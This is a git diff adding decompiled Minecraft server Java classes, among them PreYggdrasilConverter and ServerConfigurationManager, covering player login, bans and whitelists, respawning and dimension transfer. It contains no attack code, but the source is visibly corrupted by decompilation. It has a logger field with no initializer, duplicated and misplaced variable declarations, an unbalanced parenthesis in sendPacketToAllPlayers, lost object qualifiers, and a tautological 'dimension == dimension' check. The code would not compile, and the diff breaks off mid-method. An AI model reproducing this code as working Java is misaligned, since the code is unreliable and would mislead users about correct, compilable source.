+      var4.addProperty("expiresOn", PlayerProfileCache.dateFormat.format(p_152676_1_.func_152670_b()));
+      return var4;
+    }
+    
+    public PlayerProfileCache.ProfileEntry func_152675_a(JsonElement p_152675_1_, Type p_152675_2_, JsonDeserializationContext p_152675_3_)
+    {
+      if (p_152675_1_.isJsonObject())
+      {
+        JsonObject var4 = p_152675_1_.getAsJsonObject();
+        JsonElement var5 = var4.get("name");
+        JsonElement var6 = var4.get("uuid");
+        JsonElement var7 = var4.get("expiresOn");
+        
+        if ((var5 != null) && (var6 != null))
+        {
+          String var8 = var6.getAsString();
+          String var9 = var5.getAsString();
+          Date var10 = null;
+          
+          if (var7 != null)
+          {
+            try
+            {
+              var10 = PlayerProfileCache.dateFormat.parse(var7.getAsString());
+            }
+            catch (ParseException var14)
+            {
+              var10 = null;
+            }
+          }
+          
+          if ((var9 != null) && (var8 != null))
+          {
+
+            try
+            {
+
+              var11 = UUID.fromString(var8);
+            }
+            catch (Throwable var13) {
+              UUID var11;
+              return null;
+            }
+            UUID var11;
+            PlayerProfileCache tmp125_122 = PlayerProfileCache.this;tmp125_122.getClass();PlayerProfileCache.ProfileEntry var12 = new PlayerProfileCache.ProfileEntry(tmp125_122, new GameProfile(var11, var9), var10, null);
+            return var12;
+          }
+          
+
+          return null;
+        }
+        
+
+
+        return null;
+      }
+      
+
+
+      return null;
+    }
+    
+
+    public JsonElement serialize(Object p_serialize_1_, Type p_serialize_2_, JsonSerializationContext p_serialize_3_)
+    {
+      return func_152676_a((PlayerProfileCache.ProfileEntry)p_serialize_1_, p_serialize_2_, p_serialize_3_);
+    }
+    
+    public Object deserialize(JsonElement p_deserialize_1_, Type p_deserialize_2_, JsonDeserializationContext p_deserialize_3_)
+    {
+      return func_152675_a(p_deserialize_1_, p_deserialize_2_, p_deserialize_3_);
+    }
+    
+    Serializer(Object p_i46332_2_)
+    {
+      this();
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/server/management/PreYggdrasilConverter.java b/src/minecraft/net/minecraft/server/management/PreYggdrasilConverter.java
new file mode 100644
index 0000000..b0a8c49
--- /dev/null
+++ b/src/minecraft/net/minecraft/server/management/PreYggdrasilConverter.java
@@ -0,0 +1,101 @@
+package net.minecraft.server.management;
+
+import com.google.common.base.Predicate;
+import com.google.common.collect.Iterators;
+import com.google.common.collect.Lists;
+import com.mojang.authlib.GameProfile;
+import com.mojang.authlib.GameProfileRepository;
+import com.mojang.authlib.ProfileLookupCallback;
+import java.io.File;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.UUID;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.util.StringUtils;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class PreYggdrasilConverter
+{
+  private static final Logger LOGGER = ;
+  public static final File OLD_IPBAN_FILE = new File("banned-ips.txt");
+  public static final File OLD_PLAYERBAN_FILE = new File("banned-players.txt");
+  public static final File OLD_OPS_FILE = new File("ops.txt");
+  public static final File OLD_WHITELIST_FILE = new File("white-list.txt");
+  private static final String __OBFID = "CL_00001882";
+  
+  public PreYggdrasilConverter() {}
+  
+  private static void lookupNames(MinecraftServer server, Collection names, ProfileLookupCallback callback) { String[] var3 = (String[])Iterators.toArray(Iterators.filter(names.iterator(), new Predicate()
+    {
+      private static final String __OBFID = "CL_00001881";
+      
+      public boolean func_152733_a(String p_152733_1_) {
+        return !StringUtils.isNullOrEmpty(p_152733_1_);
+      }
+      
+      public boolean apply(Object p_apply_1_) {
+        return func_152733_a((String)p_apply_1_);
+      }
+    }), String.class);
+    
+    if (server.isServerInOnlineMode())
+    {
+      server.getGameProfileRepository().findProfilesByNames(var3, com.mojang.authlib.Agent.MINECRAFT, callback);
+    }
+    else
+    {
+      String[] var4 = var3;
+      int var5 = var3.length;
+      
+      for (int var6 = 0; var6 < var5; var6++)
+      {
+        String var7 = var4[var6];
+        UUID var8 = EntityPlayer.getUUID(new GameProfile(null, var7));
+        GameProfile var9 = new GameProfile(var8, var7);
+        callback.onProfileLookupSucceeded(var9);
+      }
+    }
+  }
+  
+  public static String func_152719_a(String p_152719_0_)
+  {
+    if ((!StringUtils.isNullOrEmpty(p_152719_0_)) && (p_152719_0_.length() <= 16))
+    {
+      MinecraftServer var1 = MinecraftServer.getServer();
+      GameProfile var2 = var1.getPlayerProfileCache().getGameProfileForUsername(p_152719_0_);
+      
+      if ((var2 != null) && (var2.getId() != null))
+      {
+        return var2.getId().toString();
+      }
+      if ((!var1.isSinglePlayer()) && (var1.isServerInOnlineMode()))
+      {
+        final ArrayList var3 = Lists.newArrayList();
+        ProfileLookupCallback var4 = new ProfileLookupCallback()
+        {
+          private static final String __OBFID = "CL_00001880";
+          
+          public void onProfileLookupSucceeded(GameProfile p_onProfileLookupSucceeded_1_) {
+            getPlayerProfileCache().func_152649_a(p_onProfileLookupSucceeded_1_);
+            var3.add(p_onProfileLookupSucceeded_1_);
+          }
+          
+          public void onProfileLookupFailed(GameProfile p_onProfileLookupFailed_1_, Exception p_onProfileLookupFailed_2_) {
+            PreYggdrasilConverter.LOGGER.warn("Could not lookup user whitelist entry for " + p_onProfileLookupFailed_1_.getName(), p_onProfileLookupFailed_2_);
+          }
+        };
+        lookupNames(var1, Lists.newArrayList(new String[] { p_152719_0_ }), var4);
+        return (var3.size() > 0) && (((GameProfile)var3.get(0)).getId() != null) ? ((GameProfile)var3.get(0)).getId().toString() : "";
+      }
+      
+
+      return EntityPlayer.getUUID(new GameProfile(null, p_152719_0_)).toString();
+    }
+    
+
+
+    return p_152719_0_;
+  }
+}
diff --git a/src/minecraft/net/minecraft/server/management/ServerConfigurationManager.java b/src/minecraft/net/minecraft/server/management/ServerConfigurationManager.java
new file mode 100644
index 0000000..4112a8f
--- /dev/null
+++ b/src/minecraft/net/minecraft/server/management/ServerConfigurationManager.java
@@ -0,0 +1,1081 @@
+package net.minecraft.server.management;
+
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import com.mojang.authlib.GameProfile;
+import java.io.File;
+import java.net.SocketAddress;
+import java.text.SimpleDateFormat;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.UUID;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityList;
+import net.minecraft.entity.EntityTracker;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.EntityPlayerMP;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.network.NetHandlerPlayServer;
+import net.minecraft.network.NetworkManager;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.server.S03PacketTimeUpdate;
+import net.minecraft.network.play.server.S05PacketSpawnPosition;
+import net.minecraft.network.play.server.S07PacketRespawn;
+import net.minecraft.network.play.server.S09PacketHeldItemChange;
+import net.minecraft.network.play.server.S1DPacketEntityEffect;
+import net.minecraft.network.play.server.S1FPacketSetExperience;
+import net.minecraft.network.play.server.S2BPacketChangeGameState;
+import net.minecraft.network.play.server.S38PacketPlayerListItem;
+import net.minecraft.network.play.server.S38PacketPlayerListItem.Action;
+import net.minecraft.network.play.server.S41PacketServerDifficulty;
+import net.minecraft.network.play.server.S44PacketWorldBorder;
+import net.minecraft.network.play.server.S44PacketWorldBorder.Action;
+import net.minecraft.potion.PotionEffect;
+import net.minecraft.profiler.Profiler;
+import net.minecraft.scoreboard.ScorePlayerTeam;
+import net.minecraft.scoreboard.ServerScoreboard;
+import net.minecraft.scoreboard.Team;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.stats.StatisticsFile;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.ChatComponentTranslation;
+import net.minecraft.util.ChatStyle;
+import net.minecraft.util.EnumChatFormatting;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.GameRules;
+import net.minecraft.world.World;
+import net.minecraft.world.WorldProvider;
+import net.minecraft.world.WorldServer;
+import net.minecraft.world.WorldSettings.GameType;
+import net.minecraft.world.border.WorldBorder;
+import net.minecraft.world.demo.DemoWorldManager;
+import net.minecraft.world.gen.ChunkProviderServer;
+import net.minecraft.world.storage.IPlayerFileData;
+import net.minecraft.world.storage.ISaveHandler;
+import net.minecraft.world.storage.WorldInfo;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public abstract class ServerConfigurationManager
+{
+  public static final File FILE_PLAYERBANS = new File("banned-players.json");
+  public static final File FILE_IPBANS = new File("banned-ips.json");
+  public static final File FILE_OPS = new File("ops.json");
+  public static final File FILE_WHITELIST = new File("whitelist.json");
+  private static final Logger logger = LogManager.getLogger();
+  private static final SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd 'at' HH:mm:ss z");
+  
+
+  private final MinecraftServer mcServer;
+  
+
+  public final List playerEntityList = Lists.newArrayList();
+  public final Map field_177454_f = Maps.newHashMap();
+  
+
+  private final UserListBans bannedPlayers;
+  
+
+  private final BanList bannedIPs;
+  
+
+  private final UserListOps ops;
+  
+
+  private final UserListWhitelist whiteListedPlayers;
+  
+  private final Map playerStatFiles;
+  
+  private IPlayerFileData playerNBTManagerObj;
+  
+  private boolean whiteListEnforced;
+  
+  protected int maxPlayers;
+  
+  private int viewDistance;
+  
+  private WorldSettings.GameType gameType;
+  
+  private boolean commandsAllowedForAll;
+  
+  private int playerPingIndex;
+  
+  private static final String __OBFID = "CL_00001423";
+  
+
+  public ServerConfigurationManager(MinecraftServer server)
+  {
+    bannedPlayers = new UserListBans(FILE_PLAYERBANS);
+    bannedIPs = new BanList(FILE_IPBANS);
+    ops = new UserListOps(FILE_OPS);
+    whiteListedPlayers = new UserListWhitelist(FILE_WHITELIST);
+    playerStatFiles = Maps.newHashMap();
+    mcServer = server;
+    bannedPlayers.setLanServer(false);
+    bannedIPs.setLanServer(false);
+    maxPlayers = 8;
+  }
+  
+  public void initializeConnectionToPlayer(NetworkManager netManager, EntityPlayerMP playerIn)
+  {
+    GameProfile var3 = playerIn.getGameProfile();
+    PlayerProfileCache var4 = mcServer.getPlayerProfileCache();
+    GameProfile var5 = var4.func_152652_a(var3.getId());
+    String var6 = var5 == null ? var3.getName() : var5.getName();
+    var4.func_152649_a(var3);
+    NBTTagCompound var7 = readPlayerDataFromFile(playerIn);
+    playerIn.setWorld(mcServer.worldServerForDimension(dimension));
+    theItemInWorldManager.setWorld((WorldServer)worldObj);
+    String var8 = "local";
+    
+    if (netManager.getRemoteAddress() != null)
+    {
+      var8 = netManager.getRemoteAddress().toString();
+    }
+    
+    logger.info(playerIn.getName() + "[" + var8 + "] logged in with entity id " + playerIn.getEntityId() + " at (" + posX + ", " + posY + ", " + posZ + ")");
+    WorldServer var9 = mcServer.worldServerForDimension(dimension);
+    WorldInfo var10 = var9.getWorldInfo();
+    BlockPos var11 = var9.getSpawnPoint();
+    func_72381_a(playerIn, null, var9);
+    NetHandlerPlayServer var12 = new NetHandlerPlayServer(mcServer, netManager, playerIn);
+    var12.sendPacket(new net.minecraft.network.play.server.S01PacketJoinGame(playerIn.getEntityId(), theItemInWorldManager.getGameType(), var10.isHardcoreModeEnabled(), provider.getDimensionId(), var9.getDifficulty(), getMaxPlayers(), var10.getTerrainType(), var9.getGameRules().getGameRuleBooleanValue("reducedDebugInfo")));
+    var12.sendPacket(new net.minecraft.network.play.server.S3FPacketCustomPayload("MC|Brand", new PacketBuffer(io.netty.buffer.Unpooled.buffer()).writeString(getServerInstance().getServerModName())));
+    var12.sendPacket(new S41PacketServerDifficulty(var10.getDifficulty(), var10.isDifficultyLocked()));
+    var12.sendPacket(new S05PacketSpawnPosition(var11));
+    var12.sendPacket(new net.minecraft.network.play.server.S39PacketPlayerAbilities(capabilities));
+    var12.sendPacket(new S09PacketHeldItemChange(inventory.currentItem));
+    playerIn.getStatFile().func_150877_d();
+    playerIn.getStatFile().func_150884_b(playerIn);
+    func_96456_a((ServerScoreboard)var9.getScoreboard(), playerIn);
+    mcServer.refreshStatusNextTick();
+    ChatComponentTranslation var13;
+    ChatComponentTranslation var13;
+    if (!playerIn.getName().equalsIgnoreCase(var6))
+    {
+      var13 = new ChatComponentTranslation("multiplayer.player.joined.renamed", new Object[] { playerIn.getDisplayName(), var6 });
+    }
+    else
+    {
+      var13 = new ChatComponentTranslation("multiplayer.player.joined", new Object[] { playerIn.getDisplayName() });
+    }
+    
+    var13.getChatStyle().setColor(EnumChatFormatting.YELLOW);
+    sendChatMsg(var13);
+    playerLoggedIn(playerIn);
+    var12.setPlayerLocation(posX, posY, posZ, rotationYaw, rotationPitch);
+    updateTimeAndWeatherForPlayer(playerIn, var9);
+    
+    if (mcServer.getResourcePackUrl().length() > 0)
+    {
+      playerIn.func_175397_a(mcServer.getResourcePackUrl(), mcServer.getResourcePackHash());
+    }
+    
+    Iterator var14 = playerIn.getActivePotionEffects().iterator();
+    
+    while (var14.hasNext())
+    {
+      PotionEffect var15 = (PotionEffect)var14.next();
+      var12.sendPacket(new S1DPacketEntityEffect(playerIn.getEntityId(), var15));
+    }
+    
+    playerIn.addSelfToInternalCraftingInventory();
+    
+    if ((var7 != null) && (var7.hasKey("Riding", 10)))
+    {
+      Entity var16 = EntityList.createEntityFromNBT(var7.getCompoundTag("Riding"), var9);
+      
+      if (var16 != null)
+      {
+        forceSpawn = true;
+        var9.spawnEntityInWorld(var16);
+        playerIn.mountEntity(var16);
+        forceSpawn = false;
+      }
+    }
+  }
+  
+  protected void func_96456_a(ServerScoreboard scoreboardIn, EntityPlayerMP playerIn)
+  {
+    HashSet var3 = com.google.common.collect.Sets.newHashSet();
+    Iterator var4 = scoreboardIn.getTeams().iterator();
+    
+    while (var4.hasNext())
+    {
+      ScorePlayerTeam var5 = (ScorePlayerTeam)var4.next();
+      playerNetServerHandler.sendPacket(new net.minecraft.network.play.server.S3EPacketTeams(var5, 0));
+    }
+    
+    for (int var9 = 0; var9 < 19; var9++)
+    {
+      net.minecraft.scoreboard.ScoreObjective var10 = scoreboardIn.getObjectiveInDisplaySlot(var9);
+      
+      if ((var10 != null) && (!var3.contains(var10)))
+      {
+        List var6 = scoreboardIn.func_96550_d(var10);
+        Iterator var7 = var6.iterator();
+        
+        while (var7.hasNext())
+        {
+          Packet var8 = (Packet)var7.next();
+          playerNetServerHandler.sendPacket(var8);
+        }
+        
+        var3.add(var10);
+      }
+    }
+  }
+  
+
+
+
+  public void setPlayerManager(WorldServer[] p_72364_1_)
+  {
+    playerNBTManagerObj = p_72364_1_[0].getSaveHandler().getPlayerNBTManager();
+    p_72364_1_[0].getWorldBorder().addListener(new net.minecraft.world.border.IBorderListener()
+    {
+      private static final String __OBFID = "CL_00002267";
+      
+      public void onSizeChanged(WorldBorder border, double newSize) {
+        sendPacketToAllPlayers(new S44PacketWorldBorder(border, S44PacketWorldBorder.Action.SET_SIZE));
+      }
+      
+      public void func_177692_a(WorldBorder border, double p_177692_2_, double p_177692_4_, long p_177692_6_) {
+        sendPacketToAllPlayers(new S44PacketWorldBorder(border, S44PacketWorldBorder.Action.LERP_SIZE));
+      }
+      
+      public void onCenterChanged(WorldBorder border, double x, double z) {
+        sendPacketToAllPlayers(new S44PacketWorldBorder(border, S44PacketWorldBorder.Action.SET_CENTER));
+      }
+      
+      public void onWarningTimeChanged(WorldBorder border, int p_177691_2_) {
+        sendPacketToAllPlayers(new S44PacketWorldBorder(border, S44PacketWorldBorder.Action.SET_WARNING_TIME));
+      }
+      
+
+      public void onWarningDistanceChanged(WorldBorder border, int p_177690_2_) { sendPacketToAllPlayers(new S44PacketWorldBorder(border, S44PacketWorldBorder.Action.SET_WARNING_BLOCKS)); }
+      
+      public void func_177696_b(WorldBorder border, double p_177696_2_) {}
+      
+      public void func_177695_c(WorldBorder border, double p_177695_2_) {}
+    });
+  }
+  
+  public void func_72375_a(EntityPlayerMP playerIn, WorldServer worldIn) {
+    WorldServer var3 = playerIn.getServerForPlayer();
+    
+    if (worldIn != null)
+    {
+      worldIn.getPlayerManager().removePlayer(playerIn);
+    }
+    
+    var3.getPlayerManager().addPlayer(playerIn);
+    theChunkProviderServer.loadChunk((int)posX >> 4, (int)posZ >> 4);
+  }
+  
+  public int getEntityViewDistance()
+  {
+    return PlayerManager.getFurthestViewableBlock(getViewDistance());
+  }
+  
+
+
+
+  public NBTTagCompound readPlayerDataFromFile(EntityPlayerMP playerIn)
+  {
+    NBTTagCompound var2 = mcServer.worldServers[0].getWorldInfo().getPlayerNBTTagCompound();
+    
+    NBTTagCompound var3;
+    if ((playerIn.getName().equals(mcServer.getServerOwner())) && (var2 != null))
+    {
+      playerIn.readFromNBT(var2);
+      NBTTagCompound var3 = var2;
+      logger.debug("loading single player");
+    }
+    else
+    {
+      var3 = playerNBTManagerObj.readPlayerData(playerIn);
+    }
+    
+    return var3;
+  }
+  
+
+
+
+  protected void writePlayerData(EntityPlayerMP playerIn)
+  {
+    playerNBTManagerObj.writePlayerData(playerIn);
+    StatisticsFile var2 = (StatisticsFile)playerStatFiles.get(playerIn.getUniqueID());
+    
+    if (var2 != null)
+    {
+      var2.func_150883_b();
+    }
+  }
+  
+
+
+
+  public void playerLoggedIn(EntityPlayerMP playerIn)
+  {
+    playerEntityList.add(playerIn);
+    field_177454_f.put(playerIn.getUniqueID(), playerIn);
+    sendPacketToAllPlayers(new S38PacketPlayerListItem(S38PacketPlayerListItem.Action.ADD_PLAYER, new EntityPlayerMP[] { playerIn }));
+    WorldServer var2 = mcServer.worldServerForDimension(dimension);
+    var2.spawnEntityInWorld(playerIn);
+    func_72375_a(playerIn, null);
+    
+    for (int var3 = 0; var3 < playerEntityList.size(); var3++)
+    {
+      EntityPlayerMP var4 = (EntityPlayerMP)playerEntityList.get(var3);
+      playerNetServerHandler.sendPacket(new S38PacketPlayerListItem(S38PacketPlayerListItem.Action.ADD_PLAYER, new EntityPlayerMP[] { var4 }));
+    }
+  }
+  
+
+
+
+  public void serverUpdateMountedMovingPlayer(EntityPlayerMP playerIn)
+  {
+    playerIn.getServerForPlayer().getPlayerManager().updateMountedMovingPlayer(playerIn);
+  }
+  
+
+
+
+  public void playerLoggedOut(EntityPlayerMP playerIn)
+  {
+    playerIn.triggerAchievement(net.minecraft.stats.StatList.leaveGameStat);
+    writePlayerData(playerIn);
+    WorldServer var2 = playerIn.getServerForPlayer();
+    
+    if (ridingEntity != null)
+    {
+      var2.removePlayerEntityDangerously(ridingEntity);
+      logger.debug("removing player mount");
+    }
+    
+    var2.removeEntity(playerIn);
+    var2.getPlayerManager().removePlayer(playerIn);
+    playerEntityList.remove(playerIn);
+    field_177454_f.remove(playerIn.getUniqueID());
+    playerStatFiles.remove(playerIn.getUniqueID());
+    sendPacketToAllPlayers(new S38PacketPlayerListItem(S38PacketPlayerListItem.Action.REMOVE_PLAYER, new EntityPlayerMP[] { playerIn }));
+  }
+  
+
+
+
+
+
+  public String allowUserToConnect(SocketAddress address, GameProfile profile)
+  {
+    if (bannedPlayers.isBanned(profile))
+    {
+      UserListBansEntry var5 = (UserListBansEntry)bannedPlayers.getEntry(profile);
+      String var4 = "You are banned from this server!\nReason: " + var5.getBanReason();
+      
+      if (var5.getBanEndDate() != null)
+      {
+        var4 = var4 + "\nYour ban will be removed on " + dateFormat.format(var5.getBanEndDate());
+      }
+      
+      return var4;
+    }
+    if (!canJoin(profile))
+    {
+      return "You are not white-listed on this server!";
+    }
+    if (bannedIPs.isBanned(address))
+    {
+      IPBanEntry var3 = bannedIPs.getBanEntry(address);
+      String var4 = "Your IP address is banned from this server!\nReason: " + var3.getBanReason();
+      
+      if (var3.getBanEndDate() != null)
+      {
+        var4 = var4 + "\nYour ban will be removed on " + dateFormat.format(var3.getBanEndDate());
+      }
+      
+      return var4;
+    }
+    
+
+    return playerEntityList.size() >= maxPlayers ? "The server is full!" : null;
+  }
+  
+
+
+
+
+  public EntityPlayerMP createPlayerForUser(GameProfile profile)
+  {
+    UUID var2 = EntityPlayer.getUUID(profile);
+    ArrayList var3 = Lists.newArrayList();
+    
+
+    for (int var4 = 0; var4 < playerEntityList.size(); var4++)
+    {
+      EntityPlayerMP var5 = (EntityPlayerMP)playerEntityList.get(var4);
+      
+      if (var5.getUniqueID().equals(var2))
+      {
+        var3.add(var5);
+      }
+    }
+    
+    Iterator var6 = var3.iterator();
+    
+    while (var6.hasNext())
+    {
+      EntityPlayerMP var5 = (EntityPlayerMP)var6.next();
+      playerNetServerHandler.kickPlayerFromServer("You logged in from another location");
+    }
+    
+    Object var7;
+    Object var7;
+    if (mcServer.isDemo())
+    {
+      var7 = new DemoWorldManager(mcServer.worldServerForDimension(0));
+    }
+    else
+    {
+      var7 = new ItemInWorldManager(mcServer.worldServerForDimension(0));
+    }
+    
+    return new EntityPlayerMP(mcServer, mcServer.worldServerForDimension(0), profile, (ItemInWorldManager)var7);
+  }
+  
+
+
+
+  public EntityPlayerMP recreatePlayerEntity(EntityPlayerMP playerIn, int dimension, boolean conqueredEnd)
+  {
+    playerIn.getServerForPlayer().getEntityTracker().removePlayerFromTrackers(playerIn);
+    playerIn.getServerForPlayer().getEntityTracker().untrackEntity(playerIn);
+    playerIn.getServerForPlayer().getPlayerManager().removePlayer(playerIn);
+    playerEntityList.remove(playerIn);
+    mcServer.worldServerForDimension(dimension).removePlayerEntityDangerously(playerIn);
+    BlockPos var4 = playerIn.func_180470_cg();
+    boolean var5 = playerIn.isSpawnForced();
+    dimension = dimension;
+    Object var6;
+    Object var6;
+    if (mcServer.isDemo())
+    {
+      var6 = new DemoWorldManager(mcServer.worldServerForDimension(dimension));
+    }
+    else
+    {
+      var6 = new ItemInWorldManager(mcServer.worldServerForDimension(dimension));
+    }
+    
+    EntityPlayerMP var7 = new EntityPlayerMP(mcServer, mcServer.worldServerForDimension(dimension), playerIn.getGameProfile(), (ItemInWorldManager)var6);
+    playerNetServerHandler = playerNetServerHandler;
+    var7.clonePlayer(playerIn, conqueredEnd);
+    var7.setEntityId(playerIn.getEntityId());
+    var7.func_174817_o(playerIn);
+    WorldServer var8 = mcServer.worldServerForDimension(dimension);
+    func_72381_a(var7, playerIn, var8);
+    
+
+    if (var4 != null)
+    {
+      BlockPos var9 = EntityPlayer.func_180467_a(mcServer.worldServerForDimension(dimension), var4, var5);
+      
+      if (var9 != null)
+      {
+        var7.setLocationAndAngles(var9.getX() + 0.5F, var9.getY() + 0.1F, var9.getZ() + 0.5F, 0.0F, 0.0F);
+        var7.func_180473_a(var4, var5);
+      }
+      else
+      {
+        playerNetServerHandler.sendPacket(new S2BPacketChangeGameState(0, 0.0F));
+      }
+    }
+    
+    theChunkProviderServer.loadChunk((int)posX >> 4, (int)posZ >> 4);
+    
+    while ((!var8.getCollidingBoundingBoxes(var7, var7.getEntityBoundingBox()).isEmpty()) && (posY < 256.0D))
+    {
+      var7.setPosition(posX, posY + 1.0D, posZ);
+    }
+    
+    playerNetServerHandler.sendPacket(new S07PacketRespawn(dimension, worldObj.getDifficulty(), worldObj.getWorldInfo().getTerrainType(), theItemInWorldManager.getGameType()));
+    BlockPos var9 = var8.getSpawnPoint();
+    playerNetServerHandler.setPlayerLocation(posX, posY, posZ, rotationYaw, rotationPitch);
+    playerNetServerHandler.sendPacket(new S05PacketSpawnPosition(var9));
+    playerNetServerHandler.sendPacket(new S1FPacketSetExperience(experience, experienceTotal, experienceLevel));
+    updateTimeAndWeatherForPlayer(var7, var8);
+    var8.getPlayerManager().addPlayer(var7);
+    var8.spawnEntityInWorld(var7);
+    playerEntityList.add(var7);
+    field_177454_f.put(var7.getUniqueID(), var7);
+    var7.addSelfToInternalCraftingInventory();
+    var7.setHealth(var7.getHealth());
+    return var7;
+  }
+  
+
+
+
+  public void transferPlayerToDimension(EntityPlayerMP playerIn, int dimension)
+  {
+    int var3 = dimension;
+    WorldServer var4 = mcServer.worldServerForDimension(dimension);
+    dimension = dimension;
+    WorldServer var5 = mcServer.worldServerForDimension(dimension);
+    playerNetServerHandler.sendPacket(new S07PacketRespawn(dimension, worldObj.getDifficulty(), worldObj.getWorldInfo().getTerrainType(), theItemInWorldManager.getGameType()));
+    var4.removePlayerEntityDangerously(playerIn);
+    isDead = false;
+    transferEntityToWorld(playerIn, var3, var4, var5);
+    func_72375_a(playerIn, var4);
+    playerNetServerHandler.setPlayerLocation(posX, posY, posZ, rotationYaw, rotationPitch);
+    theItemInWorldManager.setWorld(var5);
+    updateTimeAndWeatherForPlayer(playerIn, var5);
+    syncPlayerInventory(playerIn);
+    Iterator var6 = playerIn.getActivePotionEffects().iterator();
+    
+    while (var6.hasNext())
+    {
+      PotionEffect var7 = (PotionEffect)var6.next();
+      playerNetServerHandler.sendPacket(new S1DPacketEntityEffect(playerIn.getEntityId(), var7));
+    }
+  }
+  
+
+
+
+  public void transferEntityToWorld(Entity entityIn, int p_82448_2_, WorldServer p_82448_3_, WorldServer p_82448_4_)
+  {
+    double var5 = posX;
+    double var7 = posZ;
+    double var9 = 8.0D;
+    float var11 = rotationYaw;
+    theProfiler.startSection("moving");
+    
+    if (dimension == -1)
+    {
+      var5 = MathHelper.clamp_double(var5 / var9, p_82448_4_.getWorldBorder().minX() + 16.0D, p_82448_4_.getWorldBorder().maxX() - 16.0D);
+      var7 = MathHelper.clamp_double(var7 / var9, p_82448_4_.getWorldBorder().minZ() + 16.0D, p_82448_4_.getWorldBorder().maxZ() - 16.0D);
+      entityIn.setLocationAndAngles(var5, posY, var7, rotationYaw, rotationPitch);
+      
+      if (entityIn.isEntityAlive())
+      {
+        p_82448_3_.updateEntityWithOptionalForce(entityIn, false);
+      }
+    }
+    else if (dimension == 0)
+    {
+      var5 = MathHelper.clamp_double(var5 * var9, p_82448_4_.getWorldBorder().minX() + 16.0D, p_82448_4_.getWorldBorder().maxX() - 16.0D);
+      var7 = MathHelper.clamp_double(var7 * var9, p_82448_4_.getWorldBorder().minZ() + 16.0D, p_82448_4_.getWorldBorder().maxZ() - 16.0D);
+      entityIn.setLocationAndAngles(var5, posY, var7, rotationYaw, rotationPitch);
+      
+      if (entityIn.isEntityAlive())
+      {
+        p_82448_3_.updateEntityWithOptionalForce(entityIn, false);
+      }
+    }
+    else
+    {
+      BlockPos var12;
+      BlockPos var12;
+      if (p_82448_2_ == 1)
+      {
+        var12 = p_82448_4_.getSpawnPoint();
+      }
+      else
+      {
+        var12 = p_82448_4_.func_180504_m();
+      }
+      
+      var5 = var12.getX();
+      posY = var12.getY();
+      var7 = var12.getZ();
+      entityIn.setLocationAndAngles(var5, posY, var7, 90.0F, 0.0F);
+      
+      if (entityIn.isEntityAlive())
+      {
+        p_82448_3_.updateEntityWithOptionalForce(entityIn, false);
+      }
+    }
+    
+    theProfiler.endSection();
+    
+    if (p_82448_2_ != 1)
+    {
+      theProfiler.startSection("placing");
+      var5 = MathHelper.clamp_int((int)var5, -29999872, 29999872);
+      var7 = MathHelper.clamp_int((int)var7, -29999872, 29999872);
+      
+      if (entityIn.isEntityAlive())
+      {
+        entityIn.setLocationAndAngles(var5, posY, var7, rotationYaw, rotationPitch);
+        p_82448_4_.getDefaultTeleporter().func_180266_a(entityIn, var11);
+        p_82448_4_.spawnEntityInWorld(entityIn);
+        p_82448_4_.updateEntityWithOptionalForce(entityIn, false);
+      }
+      
+      theProfiler.endSection();
+    }
+    
+    entityIn.setWorld(p_82448_4_);
+  }
+  
+
+
+
+  public void onTick()
+  {
+    if (++playerPingIndex > 600)
+    {
+      sendPacketToAllPlayers(new S38PacketPlayerListItem(S38PacketPlayerListItem.Action.UPDATE_LATENCY, playerEntityList));
+      playerPingIndex = 0;
+    }
+  }
+  
+  public void sendPacketToAllPlayers(Packet packetIn)
+  {
+    for (int var2 = 0; var2 < playerEntityList.size(); var2++)
+    {
+      playerEntityList.get(var2)).playerNetServerHandler.sendPacket(packetIn);
+    }
+  }
+  
+  public void sendPacketToAllPlayersInDimension(Packet packetIn, int dimension)
+  {
+    for (int var3 = 0; var3 < playerEntityList.size(); var3++)
+    {
+      EntityPlayerMP var4 = (EntityPlayerMP)playerEntityList.get(var3);
+      
+      if (dimension == dimension)
+      {
+        playerNetServerHandler.sendPacket(packetIn);
+      }
+    }
+  }
+  
+  public void func_177453_a(EntityPlayer p_177453_1_, IChatComponent p_177453_2_)
+  {
+    Team var3 = p_177453_1_.getTeam();
+    
+    if (var3 != null)
+    {
+      Collection var4 = var3.getMembershipCollection();
+      Iterator var5 = var4.iterator();
+      
+      while (var5.hasNext())
+      {
+        String var6 = (String)var5.next();
+        EntityPlayerMP var7 = getPlayerByUsername(var6);
+        
+        if ((var7 != null) && (var7 != p_177453_1_))
+        {
+          var7.addChatMessage(p_177453_2_);
+        }
+      }
+    }
+  }
+  
+  public void func_177452_b(EntityPlayer p_177452_1_, IChatComponent p_177452_2_)
+  {
+    Team var3 = p_177452_1_.getTeam();
+    
+    if (var3 == null)
+    {
+      sendChatMsg(p_177452_2_);
+    }
+    else
+    {
+      for (int var4 = 0; var4 < playerEntityList.size(); var4++)
+      {
+        EntityPlayerMP var5 = (EntityPlayerMP)playerEntityList.get(var4);
+        
+        if (var5.getTeam() != var3)
+        {
+          var5.addChatMessage(p_177452_2_);
+        }
+      }
+    }
+  }
+  
+  public String func_180602_f()
+  {
+    String var1 = "";
+    
+    for (int var2 = 0; var2 < playerEntityList.size(); var2++)
+    {
+      if (var2 > 0)
+      {
+        var1 = var1 + ", ";
+      }
+      
+      var1 = var1 + ((EntityPlayerMP)playerEntityList.get(var2)).getName();
+    }
+    
+    return var1;
+  }
+  
+
+
+
+  public String[] getAllUsernames()
+  {
+    String[] var1 = new String[playerEntityList.size()];
+    
